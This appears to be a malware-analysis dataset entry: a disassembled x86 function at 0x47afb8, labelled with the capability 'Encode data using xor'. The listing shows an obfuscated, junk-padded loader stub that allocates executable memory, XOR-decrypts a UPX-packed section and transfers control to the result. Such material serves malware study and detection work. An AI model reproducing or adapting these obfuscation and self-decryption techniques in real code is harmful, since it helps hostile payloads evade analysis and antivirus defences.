Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6befdb4f
not ebx
inc eax
sub eax, 0x9ed0428a
popal
or ebx, ebx
mov eax, ebx
and ebx, ebx
mov edx, 0
mov edi, ecx
and esi, esi
and eax, eax
mov ebx, edi
dec eax
sub esi, eax
mov ecx, ebx
not eax
add eax, esi
and esi, eax
inc edx
mov esi, eax
mov eax, esi
cmp edx, 0x1002ee6
jne 0x47afd3
sub esi, 1
mov eax, 0x466d70b8
cmp edx, 0x1002ee6
je 0x47b011
mov eax, 0
mov dword [eax], edx
inc eax
dec esi
sub eax, 1
add eax, eax
mov edx, 0x47ada2
add ecx, esi
mov edi, ecx
mov eax, 0x47af96
mov edi, ecx
or ecx, edi
mov ebx, dword [edx]
inc ecx
sub ecx, 0x678e0730
dec esi
and ebx, 0xff
sub esi, ecx
add esi, esi
and ecx, edi
xor dword [eax], ebx
sub esi, 1
dec esi
and ecx, ecx
inc eax
mov ecx, edi
inc edi
mov esi, 0x886a0fc2
inc edx
inc esi
sub edi, 0xe6a61e18
cmp eax, entry0
jl 0x47b02d
and edi, edi
mov edi, esi
sub esi, edi
or ecx, edi
dec esi
add esi, edx
inc ecx
mov ebx, 0x47af9a
not edi
inc edx
mov ebx, dword [ebx]
sub edi, 0x8f414edf
sub edx, ecx
mov ebx, dword [ebx]
not esi
add edx, 0x5e0e51ea
mov edx, 0xc9482a78
sub esp, 4
mov dword [esp], ebx
add edx, edi
sub ecx, 0x1c02a1d0
mov ebx, 0x47af96
not esi
inc esi
mov ebx, dword [ebx]
sub ecx, 0x9aff0ae1
sub esi, edx
mov ebx, dword [ebx]
mov esi, 0x7da92e92
add edi, ecx
add ecx, edx
push 0x47af9e
add edi, 1
sub edi, edx
mov esi, edx
call ebx
not ecx
inc esi
mov edx, ecx
pop ebx
and esi, edx
add edi, ecx
push 0x47afab
sub esi, 0x879469ec
add esi, 0xcf089443
sub esp, 4
mov dword [esp], eax
mov edi, esi
inc esi
call ebx
and esi, edi
and edx, edi
push 0x40
mov ecx, edi
and esi, edi
push 0x3000
sub esi, 0xb2d23249
not edi
and ecx, edi
sub esp, 4
mov dword [esp], 0x20000f3d
and ecx, ecx
and edx, edi
push 0
and edx, ecx
add ecx, 1
dec edx
call eax
and edx, edx
not esi
add eax, 0x20000eb5
not ecx
sub ecx, esi
add edi, 0x5f44ab03
mov ebx, 0xb479b373
sub edx, 1
or ecx, ecx
mov dword [eax], ebx
sub ecx, edx
add edx, ecx
mov ebx, dword [eax]
mov ecx, esi
or edx, esi
cmp ebx, 0xb479b373
je 0x47b170
mov ecx, 0
mov dword [ecx], ebx
not edi
dec esi
and edi, edx
not esi
add eax, 0x7614747
dec ebx
mov ecx, section.UPX1
mov eax, ebx
dec eax
mov ebx, 0x54582e46
mov esi, 0x47ada1
add eax, 0xa447cbc8
inc ebx
mov edx, 0
add ebx, eax
dec eax
not ebx
mov edi, 0x47ada2
add ebx, eax
add eax, eax
sub ebx, 0x5ff8238
lea edi, [edi + edx]
add ebx, 0x6024db7b
add eax, 0xdf0b53bb
mov edi, dword [edi]
mov eax, ebx
sub eax, 0x8d8b780e
and edi, 0xff
and ebx, ebx
not ebx
mov eax, ebx
add edx, 1
dec ebx
or eax, ebx
add ebx, 0xbafbeae3
cmp edx, 0x1f4
jne 0x47b1f1
mov edx, 0
and eax, ebx
and ebx, eax
add ebx, 0x1eee2adc
and ebx, eax
sub ebx, 0x80fe15d8
dec eax
xor dword [ecx], edi
inc ebx
and ebx, ebx
add ebx, 0x3f5b52db
add ecx, 2
sub ebx, eax
not eax
dec ebx
cmp ecx, esi
jl 0x47b1a1
not ebx
mov ebx, eax
sub eax, 0x3f4b7bc0
and eax, ebx
mov edi, section.UPX1
and edx, esi
add edx, 0xaf044f96
mov eax, section.UPX1
and edx, edx
sub esi, 0xeae8bf32
sub esi, 0xdd27b91
mov ecx, 0x47ada1
or esi, edx
inc esi
mov ebx, 0
sub edx, 0x44a1a203
or edx, esi
mov bl, byte [eax]
or esi, esi
add esi, 0x28827e4e
and edx, edx
mov byte [edi], bl
sub edx, 0xf90f5c79
sub edx, esi
mov esi, 0x40d0c084
inc edi
mov esi, 0xc6915551
mov esi, 0xce7cc457
add eax, 2
mov esi, edx
not esi
add esi, edx
cmp eax, ecx
jle 0x47b263
dec edx
not esi
inc edx
sub ebx, 0xc710ea83
dec eax
not ebx
push 0x45e6a0
sub ebx, eax
and ebx, eax
ret